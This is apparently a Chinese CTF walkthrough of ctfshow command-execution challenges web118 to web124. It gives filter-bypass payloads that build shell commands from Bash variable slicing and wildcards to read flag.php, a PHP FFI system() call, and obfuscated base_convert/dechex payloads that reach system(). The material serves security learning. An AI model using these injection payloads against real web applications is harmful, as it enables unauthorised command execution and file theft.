$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象$a='/readflag > 1.txt'; //没有回显,需要重定向到文件$ffi->system($a); //通过$ffi去调用system函数
Ctfshow 命令执行 web118
题目描述:flag in flag.php
开题。
源码中有提示:system($code);
过滤的有点猛,fuzz一下能用的字符就这些,大写字母加上一些符号。
能用的不多,但是构造Bash内置变量
够用。
我们的payload一般是cat/nl等命令
+flag.php
。flag.php
我们可以用通配符代替????.???
。cat/nl等命令
我们可以用Bash内置变量
。
环境变量PATH
一般是/bin
,题目路径PWD
是/var/www/html
。
正常情况下我们可以利用切片
来获得所需要的字母:
echo ${PWD} echo ${PWD:0:1}echo ${PWD:0:3}echo ${PWD:1:1}echo ${PWD:2:3}echo ${PWD:~0:1} //从末尾开始取一个
但是题目过滤了数字,无法使用切片。换一种方式获取字符。
linux可以利用~
获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0。
echo ${PWD}echo ${PWD:~0}echo ${PWD:~1}echo ${PWD:~2}echo ${PWD:~j}echo ${PWD:~J}
所以,${PATH:~A}${PWD:~A}
表示的就是PATH
的最后一个字母和PWD
的最后一个字母,组合起来就是nl。
payload:
${PATH:~A}${PWD:~A} ????.???
相当于:nl flag.php
其他可行的payload:(第二个是官方给的,自己实践未出)
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.??? ${PATH:~A}${PWD:~A:${##}} ????.???
参考文章:
https://www.cnblogs.com/sparkdev/p/9934595.html#title_0
https://blog.51cto.com/allenh/1695810
Ctfshow 命令执行 web119
这题比上题多过滤了PATH
。
扩展一下Bash内置变量
构造字符:
${RANDOM} :随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录
SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。RANDOM此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。IFS空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???就是/???/?a? ????.???就是/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???就是/???/??t ????.???就是/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???就是/???/?????4 ????.???就是/bin/base64 flag.php
Ctfshow 命令执行 web120
这次直接给了源码,过滤同web119,但是长度限制在64及以内。
web119第一个payload直接打。
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???就是/???/?a? ????.???就是/bin/cat flag.php
Ctfshow 命令执行 web121
直接给了源码,不过这次过滤的有点多。
就web119三个payload来看。HOME
、USER
、SHLVL
。被过滤了,前两个影响不大,不用也没事。过滤${#SHLVL}
可以用${##}
、${#?}
。
payload:
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???就是/???/??v ????.???就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???就是/???/?????4 ????.???就是/bin/base64 flag.php
Ctfshow 命令执行 web122
hint:fuzz
直接给了源码,这次过滤了PWD
、#
,之前所有payload都用不了。
我们选择使用base64来获取flag。(/bin/base64 flag.php,目标是构造构造/???/?????4 ????.???
)
过滤了PWD
,我们还能用HOME
。无论HOME
是什么(比如/xxx/xxx),HOME
的第一位肯定是/
。
然后我们只需要解决一个如何构造数字的问题。我们需要数字1
和4
。
我们可以利用$?
,获取上一条命令执行结束后的返回值,0
代表成功,非0
代表失败。非0返回值如下:
"OS error code 1: Operation not permitted""OS error code 2: No such file or directory""OS error code 3: No such process""OS error code 4: Interrupted system call""OS error code 5: Input/output error""OS error code 6: No such device or address""OS error code 7: Argument list too long""OS error code 8: Exec format error""OS error code 9: Bad file descriptor""OS error code 10: No child processes""OS error code 11: Resource temporarily unavailable""OS error code 12: Cannot allocate memory""OS error code 13: Permission denied""OS error code 14: Bad address""OS error code 15: Block device required""OS error code 16: Device or resource busy""OS error code 17: File exists""OS error code 18: Invalid cross-device link""OS error code 19: No such device""OS error code 20: Not a directory""OS error code 21: Is a directory""OS error code 22: Invalid argument""OS error code 23: Too many open files in system""OS error code 24: Too many open files""OS error code 25: Inappropriate ioctl for device""OS error code 26: Text file busy""OS error code 27: File too large""OS error code 28: No space left on device""OS error code 29: Illegal seek""OS error code 30: Read-only file system""OS error code 31: Too many links""OS error code 32: Broken pipe""OS error code 33: Numerical argument out of domain""OS error code 34: Numerical result out of range""OS error code 35: Resource deadlock avoided""OS error code 36: File name too long""OS error code 37: No locks available""OS error code 38: Function not implemented""OS error code 39: Directory not empty""OS error code 40: Too many levels of symbolic links""OS error code 42: No message of desired type""OS error code 43: Identifier removed""OS error code 44: Channel number out of range""OS error code 45: Level 2 not synchronized""OS error code 46: Level 3 halted""OS error code 47: Level 3 reset""OS error code 48: Link number out of range""OS error code 49: Protocol driver not attached""OS error code 50: No CSI structure available""OS error code 51: Level 2 halted""OS error code 52: Invalid exchange""OS error code 53: Invalid request descriptor""OS error code 54: Exchange full""OS error code 55: No anode""OS error code 56: Invalid request code""OS error code 57: Invalid slot""OS error code 59: Bad font file format""OS error code 60: Device not a stream""OS error code 61: No data available""OS error code 62: Timer expired""OS error code 63: Out of streams resources""OS error code 64: Machine is not on the network""OS error code 65: Package not installed""OS error code 66: Object is remote""OS error code 67: Link has been severed""OS error code 68: Advertise error""OS error code 69: Srmount error""OS error code 70: Communication error on send""OS error code 71: Protocol error""OS error code 72: Multihop attempted""OS error code 73: RFS specific error""OS error code 74: Bad message""OS error code 75: Value too large for defined data type""OS error code 76: Name not unique on network""OS error code 77: File descriptor in bad state""OS error code 78: Remote address changed""OS error code 79: Can not access a needed shared library""OS error code 80: Accessing a corrupted shared library""OS error code 81: .lib section in a.out corrupted""OS error code 82: Attempting to link in too many shared libraries""OS error code 83: Cannot exec a shared library directly""OS error code 84: Invalid or incomplete multibyte or wide character""OS error code 85: Interrupted system call should be restarted""OS error code 86: Streams pipe error""OS error code 87: Too many users""OS error code 88: Socket operation on non-socket""OS error code 89: Destination address required""OS error code 90: Message too long""OS error code 91: Protocol wrong type for socket""OS error code 92: Protocol not available""OS error code 93: Protocol not supported""OS error code 94: Socket type not supported""OS error code 95: Operation not supported""OS error code 96: Protocol family not supported""OS error code 97: Address family not supported by protocol""OS error code 98: Address already in use""OS error code 99: Cannot assign requested address""OS error code 100: Network is down""OS error code 101: Network is unreachable""OS error code 102: Network dropped connection on reset""OS error code 103: Software caused connection abort""OS error code 104: Connection reset by peer""OS error code 105: No buffer space available""OS error code 106: Transport endpoint is already connected""OS error code 107: Transport endpoint is not connected""OS error code 108: Cannot send after transport endpoint shutdown""OS error code 109: Too many references: cannot splice""OS error code 110: Connection timed out""OS error code 111: Connection refused""OS error code 112: Host is down""OS error code 113: No route to host""OS error code 114: Operation already in progress""OS error code 115: Operation now in progress""OS error code 116: Stale NFS file handle""OS error code 117: Structure needs cleaning""OS error code 118: Not a XENIX named type file""OS error code 119: No XENIX semaphores available""OS error code 120: Is a named type file""OS error code 121: Remote I/O error""OS error code 122: Disk quota exceeded""OS error code 123: No medium found""OS error code 124: Wrong medium type""OS error code 125: Operation canceled""OS error code 126: Required key not available""OS error code 127: Key has expired""OS error code 128: Key has been revoked""OS error code 129: Key was rejected by service""OS error code 130: Owner died""OS error code 131: State not recoverable""MySQL error code 132: Old database file""MySQL error code 133: No record read before update""MySQL error code 134: Record was already deleted (or record file crashed)""MySQL error code 135: No more room in record file""MySQL error code 136: No more room in index file""MySQL error code 137: No more records (read after end of file)""MySQL error code 138: Unsupported extension used for table""MySQL error code 139: Too big row""MySQL error code 140: Wrong create options""MySQL error code 141: Duplicate unique key or constraint on write or update""MySQL error code 142: Unknown character set used""MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table""MySQL error code 144: Table is crashed and last repair failed""MySQL error code 145: Table was marked as crashed and should be repaired""MySQL error code 146: Lock timed out; Retry transaction""MySQL error code 147: Lock table is full; Restart program with a larger locktable""MySQL error code 148: Updates are not allowed under a read only transactions""MySQL error code 149: Lock deadlock; Retry transaction""MySQL error code 150: Foreign key constraint is incorrectly formed""MySQL error code 151: Cannot add a child row""MySQL error code 152: Cannot delete a parent row"
执行<A
等命令会因找不到目录或者文件执行失败,返回值是1,$?
获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。
总结一下:先<A;
在然后的$?
就是1
数字4还是用RANDOM随机数来获取,不过是换种方式,1/10的概率,多发几次包。
payload:(${Z}代表0)
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???
Ctfshow 命令执行 web124
直接给了源码。是前几年国赛的一道题。但是这题flag就在当前目录。
详细wp请看:
payload合集:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})//要在请求头里面加一个 1:tac flag.php 见下图
命令执行篇完结收工!(2023.8.20)